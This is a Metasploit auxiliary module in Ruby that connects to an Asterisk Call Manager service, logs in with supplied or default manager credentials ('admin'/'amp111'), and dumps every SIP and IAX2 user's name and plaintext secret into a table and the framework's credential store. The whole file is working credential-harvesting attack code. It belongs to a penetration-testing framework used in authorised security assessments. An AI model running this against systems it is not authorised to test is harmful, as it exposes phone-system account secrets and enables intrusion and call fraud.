## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Asterisk Gather Credentials', 'Description' => %q{ This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service. Valid manager credentials are required. }, 'Author' => 'Brendan Coles ', 'References' => [ ['URL', 'http://www.asterisk.name/sip1.html'], ['URL', 'http://www.asterisk.name/iax2.html'], ['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'], ['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI'] ], 'License' => MSF_LICENSE)) register_options [ Opt::RPORT(5038), OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']), OptString.new('PASSWORD', [true, 'The password for the specified username', 'amp111']) ] end def run vprint_status 'Connecting...' connect banner = sock.get_once unless banner =~ %r{Asterisk Call Manager/([\d\.]+)} fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running' end print_status "Found Asterisk Call Manager version #{$1}" unless login fail_with Failure::NoAccess, 'Authentication failed' end print_good 'Authenticated successfully' @users = [] retrieve_users 'sip' retrieve_users 'iax2' if @users.empty? print_error 'Did not find any users' return end print_status "Found #{@users.length} users" cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials', 'Indent' => 1, 'Columns' => ['Username', 'Secret', 'Type'] @users.each do |user| cred_table << [ user['username'], user['password'], user['type'] ] report_cred user: user['username'], password: user['password'], proof: "#{user['type']} show users" end print_line print_line cred_table.to_s p = store_loot 'asterisk.user.creds', 'text/csv', rhost, cred_table.to_csv, 'Asterisk User Credentials' print_good "Credentials saved in: #{p}" rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error e.message ensure disconnect end private def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: 'asterisk_manager', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge service_data login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge service_data create_credential_login login_data end def send_command(cmd = '') sock.put cmd res = '' timeout = 15 Timeout.timeout(timeout) do res << sock.get_once while res !~ /\r?\n\r?\n/ end res rescue Timeout::Error print_error "Timeout (#{timeout} seconds)" rescue => e print_error e.message end def login vprint_status "Authenticating as '#{username}'" req = "action: login\r\n" req << "username: #{username}\r\n" req << "secret: #{password}\r\n" req << "events: off\r\n" req << "\r\n" res = send_command req return false unless res =~ /Response: Success/ report_cred user: username, password: password, proof: 'Response: Success' report_service :host => rhost, :port => rport, :proto => 'tcp', :name => 'asterisk' true end def retrieve_users(type) vprint_status "Retrieving #{type.upcase} users..." req = "action: command\r\n" req << "command: #{type} show users\r\n" req << "\r\n" res = send_command req if res =~ /Response: Error/ && res =~ /Message: Permission denied/ print_error 'Insufficient privileges' return end unless res =~ /Response: Follows/ print_error 'Unexpected reply' return end # The response is a whitespace formatted table # We're only interested in the first two columns: username and secret # To parse the table, we need the characer width of these two columns if res =~ /^(Username\s+)(Secret\s+)/ user_len = $1.length pass_len = $2.length else print_error "'#{type} show users' is not supported" return end users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first if users.blank? print_error "Did not find any #{type.upcase} users" return else print_status "Found #{type.upcase} users" end users.each_line do |line| line.chomp! user = line[0...user_len].sub(/\s+$/, '') pass = line[user_len...(user_len + pass_len)].sub(/\s+$/, '') @users << { 'username' => user, 'password' => pass, 'type' => type } end end end